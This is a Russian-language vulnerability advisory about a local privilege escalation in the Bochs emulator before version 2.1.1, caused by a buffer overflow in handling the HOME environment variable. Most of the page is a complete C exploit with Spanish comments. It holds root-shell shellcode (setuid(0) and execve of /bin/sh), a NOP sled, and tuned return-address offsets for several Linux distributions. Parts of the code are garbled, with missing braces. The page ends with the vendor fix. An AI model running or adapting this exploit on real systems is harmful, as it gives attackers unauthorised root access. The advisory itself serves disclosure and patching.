Security Lab

Поднятие локальных привилегий в Bochs

Дата публикации:29.02.2004
Всего просмотров:1615
Опасность:
Низкая
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: Bochs до версии 2.1.1

Описание: Уязвимость обнаружена в Bochs эмуляторе в обработке HOME переменной окружения. Локальный пользователь может получить поднятые привилегии на целевой системе.

Локальный пользователь может установить специально обработанное значение для HOME переменной окружения, чтобы заставить Bochs выполнить произвольные команды с привилегиями Bochs процесса.

Пример/Эксплоит:

/*
 
* The overflow happens when program does not find these files:
* .bochsrc, bochsrc, bochsrc.txt
 
* Exploit created: 28/12/2003
 
* Tested Vulnerable Versions: bochs- 2.0.1, 2.0.2, 2.1.pre1, 2.1.pre2 y 
2.1
 
* NOTA: Si el programa no esta +s no nos aparecera ninguna shell pq falla
* la funcion setuid(0), si kereis podeis comentar esa parte de la 
shellcode
* para hacer pruebas y funcionara perfectamente.
 
* debian 3.0 gcc 2.95.4 kernel 2.4.24 offset: 1270
* debian 3.0 gcc 2.95.4 kernel 2.2.20 offset: 1000
* slack 8.1 gcc 2.95.3 kernel 2.6.0 offset: 1970
 
* Contact: sesox (at) govannom (dot) org
* WebSite: http://www.govannom.org
*/

#include < stdio.h>
#include < unistd.h>
#include < getopt.h>

static char shellcode[]=
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0)
// "\x31\xc0\xb0\x2e\xcd\x80" //setgid(0)
        "\x31\xc9\x31\xd2\x51\x68\x6e\x2f"
        "\x73\x68\x68\x2f\x2f\x62\x69\x89"
        "\xe3\x51\x53\x89\xe1\xb0\x0b\xcd"
        "\x80\x31\xc0\xb0\x01\xcd\x80";

char *get_sp() {
   asm("movl %esp,%eax");
 

#define BSIZE 512 // Tama?o de la variable que vamos a desbordar
#define NOP 0x90

main(int argc, char *argv[]){

int opt,offset;
char buffer[BSIZE+8]; //Tama?o desde el principio de la variable asta la 
return address
char *ret,*path;

// Inicializamos valores por defecto (slackware 8.1)
offset = 1970;
path = "/usr/local/bin/bochs";

// Recogemos parametros del programa
while((opt = getopt(argc,argv,"p:o:h:")) != -1) {

switch(opt) {

case 'o':
offset=atoi(optarg);
break;

case 'p':
path=optarg;
break;

default:
ussage(argv[0]);
break;
 
 

// Obtenemos la direccion de retorno
ret = get_sp()+offset;

printf("Stack init: %x\n", get_sp());
printf("ret: %x\n", ret);

memset(buffer,NOP,sizeof(buffer));
memcpy(buffer+(BSIZE-strlen(shellcode)), (char *)&shellcode, 
strlen(shellcode));
memcpy(buffer+(sizeof(buffer)-4), (char *)&ret, 4);

  if(setenv("HOME", buffer, 1)==-1){
        printf("\n\tError: Can not put buffer in HOME variable.\n\n");
        exit(0);
  }

  if(execl(path,path,NULL)==-1){
        printf("\nError: Can not execute bochs. Verify if the path is 
correct.\n\n");
        exit(0);
  }
 

int ussage(char *arg) {
printf("\n\t .: Stack overflow exploit for bochs (by SeSoX) :. \n");
 printf("\n\tUssage:\n\t %s -p < path> -o < offset>\n\n",arg);
 exit(-1);
 

URL производителя: http://bochs.sourceforge.net/

Решение:Установите обновленную версию программы: http://bochs.sourceforge.net/getcurrent.html

Ссылки: Bochs HOME Environment Variable Buffer Overflow